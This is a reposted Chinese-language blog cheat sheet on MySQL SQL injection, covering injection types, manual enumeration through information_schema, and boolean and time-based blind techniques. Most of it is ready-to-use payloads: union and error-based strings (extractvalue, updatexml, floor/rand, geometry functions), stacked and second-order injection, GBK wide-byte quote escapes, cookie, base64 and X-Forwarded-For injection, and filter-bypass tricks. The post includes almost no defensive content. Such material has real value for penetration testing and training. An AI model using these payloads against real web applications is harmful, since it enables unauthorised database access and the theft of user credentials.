0x01 什么是SQL注入
sql注入就是一種通過操作輸入來修改后臺操作陳述句達到執行惡意sql陳述句來進行攻擊的技術,
0x02 SQL注入的分類
按變數型別分
- 數字型
- 字符型
按HTTP提交方式分
- GET注入
- POST注入
- Cookie注入
按注入方式分
- 報錯注入
-
盲注
- 布爾盲注
- 時間盲注
- union注入
編碼問題
- 寬位元組注入
0x03識別后臺資料庫
根據作業系統平臺
sql server:Windows(IIS)
MySQL:Apache
根據web語言
Microsoft SQL Server:ASP和.Net
MySQL:PHP
Oracle/MySQL:java
(以下是對mysql資料庫的總結,其他型別資料庫會不定時更新)
0x04 MySQL 5.0以上和MySQL 5.0以下版本的區別
MySQL 5.0以上版本存在一個存盤著資料庫資訊的資訊資料庫--INFORMATION_SCHEMA ,其中保存著關于MySQL服務器所維護的所有其他資料庫的資訊,如資料庫名,資料庫的表,表欄的資料型別與訪問權限等, 而5.0以下沒有,
information_schema
系統資料庫,記錄當前資料庫的資料庫,表,列,用戶權限等資訊
SCHEMATA
儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼型別路徑等
TABLES
儲存mysql中的表資訊,包括這個表是基本表還是系統表,資料庫的引擎是什么,表有多少行,創建時間,最后更新時間等
COLUMNS
儲存mysql中表的列資訊,包括這個表的所有列以及每個列的資訊,該列是表中的第幾列,列的資料型別,列的編碼型別,列的權限,列的注釋等
0x05 基本手工注入流程
要從select陳述句中獲得有用的資訊,必須確定該資料庫中的欄位數和那個欄位能夠輸出,這是前提,
1. MySQL >= 5.0
(1)獲取欄位數
order by n /*通過不斷嘗試改變n的值來觀察頁面反應確定欄位數*/
(2)獲取系統資料庫名
在MySQL >5.0中,資料庫名存放在information_schema資料庫下schemata表schema_name欄位中
select null,null,schema_name from information_schema.schemata
(3)獲取當前資料庫名
select null,null,...,database()
(4)獲取資料庫中的表
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
或
select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1
(5)獲取表中的欄位
這里假設已經獲取到表名為user
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
(6)獲取各個欄位值
這里假設已經獲取到表名為user,且欄位為username和password
select null,group_concat(username,password) from users
2.MySQL < 5.0
MySQL < 5.0 沒有資訊資料庫information_schema,所以只能手工列舉爆破(二分法思想),
該方式通常用于盲注,
相關函式
length(str) :回傳字串str的長度
substr(str, pos, len) :將str從pos位置開始截取len長度的字符進行回傳,注意這里的pos位置是從1開始的,不是陣列的0開始
mid(str,pos,len) :跟上面的一樣,截取字串
ascii(str) :回傳字串str的最左面字符的ASCII代碼值
ord(str) :將字符或布爾型別轉成ascll碼
if(a,b,c) :a為條件,a為true,回傳b,否則回傳c,如if(1>2,1,0),回傳0
(1)基于布爾的盲注
and ascii(substr((select database()),1,1))>64 /*判斷資料庫名的第一個字符的ascii值是否大于64*/
(2)基于時間的盲注
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用戶名前四個字符做判斷,正確就延遲4秒,錯誤回傳1*/
0x06 常用注入方式
注釋符:
#
-- (有空格)或--+
/**/
行內注釋:
/*!...*/
union注入
id =-1 union select 1,2,3 /*獲取欄位*/
Boolean注入
id=1' substr(database(),1,1)='t'--+ /*判斷資料名長度*/
報錯注入
1 floor()和rand()
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用錯誤資訊得到當前資料庫名*/
2 extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3 updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4 geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5 multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
6 polygon()
id=1 and polygon((select * from(select * from(select user())a)b))
7 multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
8 linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
9 multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
10 exp()
id=1 and exp(~(select * from(select user())a))
時間注入
id = 1 and if(length(database())>1,sleep(5),1)
堆疊查詢注入
id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23
二次注入
假如在如下場景中,我們瀏覽一些網站的時候,可以現在注冊見頁面注冊username=test',接下來訪問xxx.php?username=test',頁面回傳id=22;
接下來再次發起請求xxx.php?id=22,這時候就有可能發生sql注入,比如頁面會回傳MySQL的錯誤,
訪問xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結果,利用這種注入方式會得到資料庫中的值,
寬位元組注入
利用條件:
- [ ] 查詢引數是被單引號包圍的,傳入的單引號又被轉義符()轉義,如在后臺資料庫中對接受的引數使用addslashes()或其過濾函式
- [ ] 資料庫的編碼為GBK
利用方式
id = -1%DF' union select 1,user(),3,%23
在上述條件下,單引號'被轉義為%5c,所以就構成了%df%5c,而在GBK編碼方式下,%df%5c是一個繁體字“連”,所以單引號成功逃逸,
Cookie注入
當發現在url中沒有請求引數,單數卻能得到結果的時候,可以看看請求引數是不是在cookie中,然后利用常規注入方式在cookie中注入測驗即可,只是注入的位置在cookie中,與url中的注入沒有區別,
Cookie: id = 1 and 1=1
base64注入
對引數進行base64編碼,再發送請求,
說明:id=1',1的base64編碼為MSc=,而=的url編碼為%3d,所以得到以下結果:
id=MSc%3d
XFF注入
XFF(X-Forward-For),簡稱XFF頭,它代表客戶端真實的ip地址
X-Forward-For:127.0.0.1' select 1,2,user()
0x07 SQL注入繞過技術
-
大小寫繞過
-
雙寫繞過
-
編碼繞過(url全編碼、十六進制)
-
行內注釋繞過
-
關鍵字替換
-
逗號繞過
substr、mid()函式中可以利用from to來擺脫對逗號的利用;
limit中可以利用offset來擺脫對逗號的利用
-
比較符號( >、< )繞過(greatest、between and)
-
邏輯符號的替換(and=&& or=|| xor=| not=!)
-
空格繞過(用括號,+等繞過)
-
-
等價函式繞過
- hex()、bin()=ascii()
- concat_ws()=group_concat()
- mid()、substr()=substring()
-
http引數污染(
id=1 union select+1,2,3+from+users+where+id=1–變為id=1 union select+1&id=2,3+from+users+where+id=1–) -
緩沖區溢位繞過 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好,,一般會存在臨界值,其實這種方法還對后綴名的繞過也有用)
原文地址:https://xz.aliyun.com/t/2869
__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15223656.html
著作權宣告: 本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
聲援博主: 如果您覺得文章對您有幫助,可以點擊文章右下角【推薦】一下,您的鼓勵是博主的最大動力!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297018.html
標籤:其他
上一篇:OWASP TOP 10簡單介紹
